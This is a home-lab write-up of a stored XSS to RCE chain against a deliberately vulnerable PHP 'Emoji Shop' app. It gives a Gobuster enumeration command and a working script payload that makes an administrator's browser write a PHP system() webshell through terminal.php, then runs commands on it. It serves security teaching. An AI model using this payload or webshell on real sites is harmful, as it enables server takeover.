Emoji_ShopXSS2SHELL — Stored XSS to RCE Home Lab
Written By Aryan Giri
Repository: Emoji_ShopXSS2SHELL
Author: Aryan Giri
Lab Overview
Emoji_ShopXSS2SHELL is an intentionally vulnerable, lightweight web application designed for cybersecurity education, authorized security testing, CTF practice, and web application security research.
The lab demonstrates an attack chain involving:
- Stored Cross-Site Scripting (XSS)
- Privileged administrative functionality
- Unsafe command execution
- Browser-based administrative session abuse
- Webshell deployment
- Command execution through the resulting shell
The objective is to understand how a seemingly simple stored XSS vulnerability can become significantly more impactful when it executes inside a privileged administrator's browser session.
Application Setup
After installing and starting the lab, the application is available at:
http://10.19.115.73:8081/login.php
The application initially presents a login page. Since this is a local intentionally vulnerable lab, a normal user account can be created for testing.
Creating a Normal User
I registered a test account using:
Username: tester1
Password: admin
After registration completes, the newly created account can be used to authenticate.
After logging in, the user is redirected to the main application interface.
Exploring the Emoji Shop
The main page contains a list of emojis. Each entry provides access to additional information, including details and comments.
The comments functionality is particularly interesting because user-controlled content is stored by the application and later rendered to other users.
For testing the administrative impact of the vulnerability, I used two separate Firefox profiles:
- A normal-user session
- A separate administrator session
Keeping the sessions isolated makes it easier to observe which browser context executes the stored JavaScript.
Administrator Session
The administrator account used for the lab is:
Username: admin
Password: admin123
After logging in as the administrator, the application exposes additional administrative functionality.
The administrator can access:
admin.php
The administrative interface provides functionality that is not available to a regular user.
Administrative Command Execution
The lab also exposes a web terminal through:
terminal.php
The terminal allows commands to be executed through the web application.
There is also an exec.php endpoint capable of command execution, but it requires administrator privileges.
This difference is important to the attack chain: a normal user cannot directly access the privileged command-execution functionality, but stored JavaScript executed inside an administrator's browser can make requests using the administrator's existing privileges.
Directory Enumeration
Although the application is open source and the relevant endpoints are already known, I also performed directory enumeration to demonstrate the reconnaissance phase.
I used Gobuster with the common directory wordlist and PHP extension discovery:
gobuster dir \
-u http://10.19.115.73:8081 \
-w /usr/share/wordlists/dirb/common.txt \
-x php \
--exclude-length 3449
The enumeration identifies application endpoints including:
login.php
admin.php
terminal.php
exec.php
The purpose here is not to discover a previously unknown application but to demonstrate how endpoint enumeration fits into a normal web application assessment.
Identifying the Stored XSS
Returning to the normal-user session, I opened an emoji's details and comments interface.
The comment field accepts HTML/JavaScript content.
I started with a simple proof-of-concept payload:
<script>alert(0)</script>
After submitting the comment, the JavaScript executes when the affected page is rendered.
This confirms that the comment is not being safely encoded before being inserted into the page.
The important distinction is that this is stored XSS rather than reflected XSS. The malicious content is persisted by the application and can subsequently execute when another user views the affected content.
Executing the XSS in the Administrator Context
The next step is to observe what happens when the administrator views the stored comment.
I switched back to the administrator Firefox session and opened Comments Overview.
The stored JavaScript executes in the administrator's browser context.
After dismissing the JavaScript alert, the interface displays the username associated with the comment, while the original comment content is not displayed normally.
The reason is that the browser interprets the <script> element as executable HTML rather than treating it as ordinary text.
At this point, the vulnerability has crossed an important privilege boundary:
Normal User
|
v
Stored Comment
|
v
JavaScript Execution
|
v
Administrator Browser
|
v
Privileged Application Request
From Stored XSS to Command Execution
The administrator's browser can make authenticated requests to privileged endpoints.
The lab's terminal.php endpoint accepts POST requests containing a command. This allows the stored JavaScript to issue a request from the administrator's browser.
For the lab demonstration, I used the following payload to create a PHP command-execution shell:
<script>
fetch('/terminal.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
'cmd': `echo '<?php system($_GET["cmd"]); ?>' > /var/www/emoji_shop/shell.php`
})
});
</script>
The important part of this payload is not the JavaScript itself but the request chain:
Stored XSS
|
v
Administrator browser executes JavaScript
|
v
Authenticated POST request
|
v
terminal.php
|
v
Server-side command execution
|
v
shell.php created
Once the malicious comment is stored, I return to the administrator session and open Comments Overview or refresh the page.
The JavaScript executes automatically while the administrator is viewing the stored comment.
The result is that the server creates:
/var/www/emoji_shop/shell.php
Accessing the Webshell
After the payload executes, I return to the normal browser session.
The resulting endpoint can be accessed through:
http://10.19.115.73:8081/shell.php?cmd=id
The id command confirms that the newly created endpoint is executing commands on the server.
Additional commands can then be supplied through the cmd parameter.
The resulting chain demonstrates how a stored XSS vulnerability can become a server-side command-execution primitive when combined with privileged functionality.
Attack Chain
The complete lab flow can be summarized as:
Normal User
|
| submits malicious comment
v
Stored XSS
|
| administrator views comments
v
Administrator Browser
|
| JavaScript executes with admin privileges
v
terminal.php
|
| authenticated command execution
v
shell.php
|
| cmd parameter
v
Server Command Execution
The individual vulnerabilities become substantially more dangerous when chained together.
A simplified privilege flow looks like:
Low Privilege
|
v
Stored XSS
|
v
Admin Browser Context
|
v
Admin-Only Endpoint
|
v
Server Command Execution
Why the Chain Works
The core issue is the combination of multiple trust-boundary failures.
1. User input is stored without safe output encoding
The comment field accepts JavaScript and stores it in a form that is later rendered by another browser.
2. The stored content executes in a privileged context
The administrator visits the page containing the malicious comment, causing the browser to execute the stored JavaScript.
3. Privileged endpoints trust the authenticated browser session
The JavaScript executes from the administrator's browser and can therefore make requests to functionality available to that session.
4. The terminal provides server-side command execution
Once the privileged request reaches terminal.php, the supplied command is executed by the application.
The important lesson is that the XSS itself does not directly execute operating-system commands. Instead, it abuses the administrator's browser context to reach functionality that already has command-execution capability.
Lab Takeaways
This home lab demonstrates an important web exploitation concept:
XSS != automatically RCE
However:
XSS
+
Privileged Session
+
Dangerous Administrative Functionality
=
Potential RCE Chain
A low-privileged stored XSS can therefore become a high-impact vulnerability when privileged application functionality is exposed through the same browser session.
The lab provides a practical environment for studying the relationship between client-side injection, authentication context, authorization boundaries, and server-side command execution.
Repository
The complete intentionally vulnerable application and lab setup are available in the project repository:
This lab should only be deployed and tested in an environment where you have explicit authorization to perform security testing.